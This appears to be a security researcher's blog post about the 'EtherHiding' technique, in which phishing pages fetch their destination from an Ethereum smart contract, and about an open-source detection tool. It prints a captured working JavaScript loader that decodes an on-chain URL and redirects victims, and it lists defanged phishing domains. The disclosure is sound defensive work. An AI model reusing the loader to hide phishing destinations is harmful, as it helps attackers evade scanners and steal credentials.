<100 subscribers
Share Dialog
On January 23rd, 2025, while analyzing URLs from Web3 phishing emails sent to one of my honeypot inboxes, I uncovered a live phishing campaign employing a novel technique: a hidden on-chain step designed to thwart typical URL scanning tools.
At the time, this method appeared undocumented. I planned to write about these findings, but due to limited bandwidth and working as a team of one (me), the research never surfaced.
Today, I am sharing my findings.
This technique aligns with what Google Threat Intelligence Group (GTIG) refers to as EtherHiding — a method they publicly announced and disclosed they had been tracking in active campaigns since February 2025.
Concurrently, I am releasing ether_unhide, an open-source tool designed to systematically detect these concealed threats in real-time.
Some portions of the tool remain conceptual — namely, the discovery tooling, which I will describe in brief below — while others are complete. I welcome input (and/or funding; I'll update this post to include appropriate links and information once available) to complete the on-chain discovery components. The code in its current incomplete (but functional) state is available here on GitHub.
GTIG's research identifies EtherHiding as a key component in the financially motivated CLEARFAKE campaign (UNC5142) and more recently in operations by the DPRK (North Korean) threat actor UNC5342. My independent discovery in January 2025 confirms this technique is persistent and actively deployed.
Threat actors consistently circumvent standard detection methods by obfuscating the final hop in their redirect chains. This causes most URL scanning tools to terminate prematurely, failing to reach the final payload and necessitating manual intervention.
My curiosity was piqued while processing numerous URLs from Web3 phishing emails. I observed that scans frequently hit dead ends, with at least one instance leading to an otherwise blank page containing a small JavaScript snippet with mildly obfuscated logic, which was making an eth_call to an Ethereum RPC to fetch data.
These campaigns typically begin with a link embedded in a phishing email, often leveraging a legitimate click-tracking service. In this example, the initial link was hosted on clicks.club-os.com, a known click-tracking service.
This link triggers multiple HTTP redirects. The final hop delivers a small JavaScript snippet that executes an eth_call to a smart contract to retrieve the actual malicious destination. This technique specifically evades detection by traditional scanners and creates a frustrating dead end, requiring manual analysis, and rendering the true malicious intent difficult to uncover with automated approaches.
Here's the observed mechanism, consistent with GTIG's description:
Initial Lure: Attackers employ social engineering tactics, including phishing emails, deceptive updates, or fake job interviews (as observed with UNC5342). In our case, the email targeted members of a class-action lawsuit against a defunct cryptocurrency investment service.
JavaScript Loader Injection: A small JavaScript "loader" script, such as JADESNOW (identified by GTIG), is injected onto a compromised or attacker-controlled website. This script is frequently served via a decentralized platform like IPFS or protected behind Cloudflare proxies — a service from which it has been notoriously difficult to garner a response when reporting such content (Cloudflare, we welcome collaboration; please get in touch if interested).
On-Chain URL Retrieval (via eth_call): When a user visits this page, the loader script communicates with a smart contract on a public blockchain (e.g., Ethereum or BNB Smart Chain) to retrieve the URL of the main malicious payload. This is achieved using a read-only eth_call, which creates no transaction, enhancing stealth without incurring gas fees.
Dynamic Decryption/Deobfuscation: The JavaScript function unscrambles the returned string, which is often ABI-encoded. The initial URL's query string (e.g., ?ref=qxysd1267842) frequently assists in this decryption. This parameter also appears to be used for campaign tracking, as these parameters seem unique to the targeted email address, yet ancillary to the webpage's actual loading.
Final Redirection: Once the ultimate endpoint is revealed, the JavaScript redirects the user to the actual phishing or attack site, leading to credential theft or malware deployment (such as INVISIBLEFERRET).
This intricate, multi-stage attack effectively bypasses scanners that might only perceive the initial IPFS page or only follow the initial redirects, stopping short of the last hop. Manual analysis is time-consuming, underscoring the critical need for an automated solution.
I first encountered "EtherHiding" when I found a suspicious web redirect with this JavaScript snippet. The initial email link came from a sponsored click service. Following the redirects led to a dead end. I had to dig into the HTML source to find the JavaScript snippet making the eth_call.
<head>
<script>
fetch('https://cloudflare-eth.com', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
id: 0,
jsonrpc: '2.0',
method: 'eth_call',
params: [{to: '0xad8bcd576470deb183dff61b557e3ab37e5f2e73', data: '0x8a054ac2'}, 'latest'],
}),
}).then((t) => {
t.json().then((t) => {
let e = '',
a = t.result.slice(130);
for (; a.length > 0; ) {
let o = String.fromCharCode(parseInt(a.substring(0, 2), 16));
if ('\0' == o) break;
(e += o), (a = a.slice(2));
}
window.location = `https://${e}`;
});
});
</script>
</head>
<body></body>
This snippet calls the 0xad8bcd576470deb183dff61b557e3ab37e5f2e73 contract on Ethereum, querying the 0x8a054ac2 method. After decoding the data, the JavaScript revealed the retrieved rebate-kroll[.]com/home/?ref=872842 URL from this this call to the smart contract.
What immediately struck me about the contract is its exceptional simplicity, which is highly unlikely to be of any real use otherwise, given its very limited and typically read-only functionalities. The bytecode often just a couple of lines, and typically contains only one view or pure function designed to return a string.
Though each contract is technically unique, this isn't a complex contract; it possesses a distinct fingerprint. This specific pattern — incredibly small bytecode with a single read function, returning a simple string — strongly indicates an EtherHiding contract.
My suspicion is that we could leverage this information to our advantage by devising a very simple method to detect such insignificantly-sized contracts on-chain. This, however, will necessitate access to appropriate infrastructure, and further development to flesh out the specific means of accomplishing this on a broad scale.
This unique structural signature is key to finding more.
Manual analysis doesn't scale. I wrote ether_unhide (names are hard), an open-source Python tool to automatically process contracts fitting the EtherHiding description.
Input: It starts with contract addresses. Currently, you can obtain these from Etherscan's "similar contracts" tool, which yields a surprising and impressive amount of results. These can be analyzed further using ether_unhide.
Bytecode Analysis: These contracts usually aren't verified. ether_unhide uses evmole to analyze their raw bytecode. evmole can find view and pure functions and their selectors from bytecode alone, making it particularly effective at identifying the single string-returning function typical of EtherHiding contracts.
On-Chain eth_call: For each function found, ether_unhide fetches the raw bytecode, analyzes and extracts the necessary components, and makes an eth_call to the contract via an Ethereum RPC provider.
URL Extraction: The returned data is decoded. If it's a string matching URL patterns, it's flagged and output. Any identified 4-byte method signatures are also included in this output.
ether_unhide has been highly successful, finding many active EtherHiding URLs in contracts across EVM chains. My findings match GTIG's observations: attackers impersonate crypto services (Bittrex, BlockFi, Trezor), hardware wallets (Ellipal), and tech brands (Google, Microsoft) to steal credentials.
Sample URLs discovered:
withdrawal[.]proceed-investvoyager[.]com/withdrawal/?Client=x472039/BTC/ETH/USDC/XRP/USDT
access-gamdom[.]com
secure.trezor-update[.]com/@/
accounts[.]google.com[.]help-workspacereset[.]com/v3/signin/challenge/user/verify?app&username=[REDACTED_EMAIL]
g[.]co[.]mail-recovery-dashboard[.]com/v3/signin/challenge/user/verify?app&username=[REDACTED_EMAIL]
These examples demonstrate how cyber threats are evolving in Web3, and how attackers are leveraging blockchain features in novel ways. The common use of 0x8a054ac2 as a method ID across these malicious contracts suggests a shared approach, consistent with coordinated campaigns like CLEARFAKE and those by UNC5342; however, we've also uncovered additional method signatures.
So far we've uncovered over over 100 of these contracts, just with a quick pass and manual collection using the aforementioned methods (Etherscan's "similar contracts" tool). You can find samples of the data in the project's GitHub repository.
GTIG's research highlights a critical point: neither UNC5342 nor UNC5142 are interacting directly with the blockchain. Instead, they rely on centralized services (RPC endpoints or APIs). This is a key observation:
"These centralized intermediaries represent points of observation and control, where traffic can be monitored and malicious activity can be addressed through blocking, account suspensions, or other methods."
This means that, despite blockchain's decentralization, attackers must still rely on traditional Web2 services. These services create choke-points that offer an opening for defenders. ether_unhide uses these same services for its own analysis, and the attacker's dependency is made to work to our benefit.
This counters the notion that "blockchain malware is unstoppable" — in fact, though nuanced and unique, it's exceptionally traceable, permanently recorded on the blockchain, and waiting to be uncovered. That's precisely why Blockmage was founded — to advance the fight and keep pace with the ever-evolving landscape and these new and novel threats.
This is just the beginning. ether_unhide is available on GitHub, released under the Blockmage GitHub organization as open-source with an Apache 2.0 license. I invite the cybersecurity community to use and contribute to it.
My long-term goals include:
Enhanced Data Collection: Improve methods for finding and collecting malicious contracts, including developing tools specifically designed to search for and identify contracts with this unique minimal bytecode fingerprint.
Integration: Process data and integrate this process with the urlscan.io APIs. We'll be sharing our feedback with them, as they are incredibly resourceful and open to this kind of information (speaking from experience), so it may well be possible that we can find a way around the hiccup of that final redirect hop.
Blockmage API: I am actively developing a comprehensive API designed to safeguard Web3 projects and empower fellow security teams against emerging threats. As the sole principal developer, I am filling multiple roles, and greatly appreciate any assistance, as well as patience and understanding while this work is underway. If you are interested in funding my efforts, please feel free to reach out.
Automated Analysis: I'm building a system to gather, analyze, and catalog Web2 and Web3 threat intelligence, including indicators of compromise (IoCs). This includes deobfuscation of obfuscated JavaScript, employing sophisticated, custom methods of AST traversal (more on that in another post).
This is based on Blockmage's extensive and one-of-a-kind private collection of wallet drainer kits; backend phishing service code; obfuscated, deobfuscated, and completely unobfuscated code samples; all of which have been sourced firsthand through reconnaissance and undercover infiltration of threat actor communities over the past 3+ years.
I am actively exploring different avenues for making this data useful and available to vetted security professionals.
As always, Blockmage will share its intelligence with its partners in the Web3 space. By sharing ether_unhide and these insights, my goal is to foster collaboration within and between the cybersecurity and Web3 communities.
I thank the Google Threat Intelligence Group for their work. My independent discovery and tooling against this ongoing EtherHiding technique provide a detailed look at on-chain tactics, complementing their excellent work and the broader, detailed intelligence shared in their report.
While the intrinsic immutability and decentralization of blockchain are some of its most powerful and exciting features, they also create new opportunities for cybercrime, introducing novel attack vectors.
Tools like my project will be vital in this space. However, arriving late to this discovery is disappointing, and I want to acknowledge the difficulty of undertaking this research alone.
While I am always eager to connect with other InfoSec and Web3 community members, I find the social aspects of Web3 personally taxing, and my threat model directly necessitates strong privacy. I treat all information about myself as privileged information, which means you won't find me on LinkedIn, or really any social media since many years ago now. This is my own struggle, not an excuse; I won't elaborate on specifics here or elsewhere publicly.
By exposing these hidden redirection URLs and sharing my methods, I am taking a proactive stance. My goal — as founder of Blockmage Ltd — is a safer Web3 for everyone.
Comments